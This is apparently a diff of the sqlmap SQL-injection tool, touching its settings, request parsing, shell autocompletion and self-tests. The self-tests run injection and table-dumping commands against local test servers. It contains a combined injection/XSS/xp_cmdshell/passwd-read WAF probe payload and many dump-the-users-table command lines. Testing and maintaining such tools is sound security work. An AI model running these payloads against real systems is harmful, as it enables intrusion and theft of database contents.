CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json"
# Value to look for in response to CHECK_INTERNET_ADDRESS
CHECK_INTERNET_VALUE = "IP Address Details"
CHECK_INTERNET_VALUE = '"ip":'
# Payload used for checking of existence of WAF/IPS (dummier the better)
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
@@ -659,7 +708,7 @@ LARGE_OUTPUT_THRESHOLD = 1024 ** 2
SLOW_ORDER_COUNT_THRESHOLD = 10000
# Give up on hash recognition if nothing was found in first given number of rows
HASH_RECOGNITION_QUIT_THRESHOLD = 10000
HASH_RECOGNITION_QUIT_THRESHOLD = 1000
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
@@ -719,7 +768,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
CHECK_ZERO_COLUMNS_THRESHOLD = 10
# Boldify all logger messages containing these "patterns"
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ")
# TLDs used in randomization of email-alike parameter values
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
@@ -764,7 +813,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
# Regular expression used for detecting JSON POST data
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z'
# Regular expression used for detecting JSON-like POST data
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
@@ -872,10 +921,9 @@ for key, value in os.environ.items():
# Installing "reversible" unicode (decoding) error handler
def _reversible(ex):
if isinstance(ex, UnicodeDecodeError):
if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
if INVALID_UNICODE_PRIVATE_AREA:
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
else:
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
codecs.register_error("reversible", _reversible)
+12 -7
View File
@@ -118,19 +118,24 @@ def autoCompletion(completion=None, os=None, commands=None):
if os == OS.WINDOWS:
# Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({
"copy": None, "del": None, "dir": None,
"echo": None, "md": None, "mem": None,
"attrib": None, "copy": None, "del": None,
"dir": None, "echo": None, "fc": None,
"label": None, "md": None, "mem": None,
"move": None, "net": None, "netstat -na": None,
"ver": None, "xcopy": None, "whoami": None,
"tree": None, "truename": None, "type": None,
"ver": None, "vol": None, "xcopy": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
"cat": None, "chmod": None, "chown": None,
"cp": None, "cut": None, "date": None, "df": None,
"diff": None, "du": None, "echo": None, "env": None,
"file": None, "find": None, "free": None, "grep": None,
"id": None, "ifconfig": None, "ls": None, "mkdir": None,
"mv": None, "netstat": None, "pwd": None, "rm": None,
"uname": None, "whoami": None,
})
readline.set_completer(completer.complete)
+8 -8
View File
@@ -106,7 +106,7 @@ def _setRequestParams():
conf.data = ""
if conf.data is not None:
conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
conf.method = conf.method or HTTPMETHOD.POST
def process(match, repl):
retVal = match.group(0)
@@ -125,7 +125,7 @@ def _setRequestParams():
return retVal
if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
message = "custom injection marker ('%s') found in POST " % kb.customInjectionMark
message = "custom injection marker ('%s') found in %s " % (kb.customInjectionMark, conf.method)
message += "body. Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper()
@@ -138,7 +138,7 @@ def _setRequestParams():
kb.testOnlyCustom = True
if re.search(JSON_RECOGNITION_REGEX, conf.data):
message = "JSON data found in %s data. " % conf.method
message = "JSON data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper()
@@ -162,7 +162,7 @@ def _setRequestParams():
kb.postHint = POST_HINT.JSON
elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
message = "JSON-like data found in %s data. " % conf.method
message = "JSON-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper()
@@ -178,7 +178,7 @@ def _setRequestParams():
kb.postHint = POST_HINT.JSON_LIKE
elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
message = "Array-like data found in %s data. " % conf.method
message = "Array-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper()
@@ -192,7 +192,7 @@ def _setRequestParams():
kb.postHint = POST_HINT.ARRAY_LIKE
elif re.search(XML_RECOGNITION_REGEX, conf.data):
message = "SOAP/XML data found in %s data. " % conf.method
message = "SOAP/XML data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper()
@@ -207,7 +207,7 @@ def _setRequestParams():
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
message = "Multipart-like data found in %s data. " % conf.method
message = "Multipart-like data found in %s body. " % conf.method
message += "Do you want to process it? [Y/n/q] "
choice = readInput(message, default='Y').upper()
@@ -491,7 +491,7 @@ def _resumeDBMS():
dbms = value.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION]
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
_ = re.search(r"\A%s (.*)" % _, dbms, re.I)
if _:
+193 -293
View File
@@ -5,59 +5,32 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
import codecs
import doctest
import logging
import os
import random
import re
import shutil
import socket
import sqlite3
import sys
import tempfile
import threading
import time
import traceback
from extra.beep.beep import beep
from extra.vulnserver import vulnserver
from lib.controller.controller import start
from lib.core.common import clearColors
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readXmlFile
from lib.core.common import shellExec
from lib.core.compat import round
from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import queries
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.log import LOGGER_HANDLER
from lib.core.option import init
from lib.core.option import initOptions
from lib.core.option import setVerbosity
from lib.core.optiondict import optDict
from lib.core.settings import UNICODE_ENCODING
from lib.parse.cmdline import cmdLineParser
class Failures(object):
failedItems = None
failedParseOn = None
failedTraceBack = None
_failures = Failures()
_rand = 0
from lib.core.patch import unisonRandom
def vulnTest():
"""
@@ -65,29 +38,35 @@ def vulnTest():
"""
TESTS = (
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)),
("-h", ("to see full list of options run with '-hh'",)),
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
("--dependencies", ("sqlmap requires", "third-party library")),
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-r <request> --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")),
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
("-u <url> --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='<root><param name=\"id\" value=\"1*\"/></root>' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: <root><param name=\"id\" value=\"1", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.", "Nexus", "Sna: Fu", "Foo: Bar")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har=<tmp> --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")),
("-u <url> --flush-session -H 'id: 1*' --tables -t <tmp>", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")),
("-u <url> --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")),
("-u <url> --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")),
("-u <url> --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")),
("-u <url> --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")),
("-u <url> --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")),
("-u <url> --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")),
("-u <url> -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")),
("-u '<url>&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)),
("-u '<url>&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")),
("-d <direct> --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)),
("-d <direct> --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")),
("-d <direct> --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)),
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
)
retVal = True
@@ -110,6 +89,9 @@ def vulnTest():
except:
time.sleep(1)
handle, config = tempfile.mkstemp(suffix=".conf")
os.close(handle)
handle, database = tempfile.mkstemp(suffix=".sqlite")
os.close(handle)
@@ -131,16 +113,25 @@ def vulnTest():
url = "http://%s:%d/?id=1" % (address, port)
direct = "sqlite3://%s" % database
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
open(config, "w+").write(content)
for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log).replace("<config>", config))
if "<tmp>" in cmd:
handle, tmp = tempfile.mkstemp()
os.close(handle)
cmd = cmd.replace("<tmp>", tmp)
output = shellExec(cmd)
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output:
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % clearColors(output))
dataToStdout("%s---\n" % output, coloring=False)
retVal = False
count += 1
@@ -153,44 +144,183 @@ def vulnTest():
return retVal
def dirtyPatchRandom():
def bedTest():
"""
Unifying random generated data across different Python versions
Runs the testing against 'testbed'
"""
def _lcg():
global _rand
a = 1140671485
c = 128201163
m = 2 ** 24
_rand = (a * _rand + c) % m
return _rand
TESTS = (
# MaxDB
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")),
def _randint(a, b):
_ = a + (_lcg() % (b - a + 1))
return _
# Informix
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
def _choice(seq):
return seq[_randint(0, len(seq) - 1)]
# Altibase
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")),
def _sample(population, k):
return [_choice(population) for _ in xrange(k)]
# CockroachDB
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")),
def _seed(seed):
global _rand
_rand = seed
# CrateDB
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")),
random.choice = _choice
random.randint = _randint
random.sample = _sample
random.seed = _seed
# Drizzle
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")),
# Firebird
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")),
# H2
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
# HSQLDB
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")),
# IBM DB2
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")),
# MariaDB
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
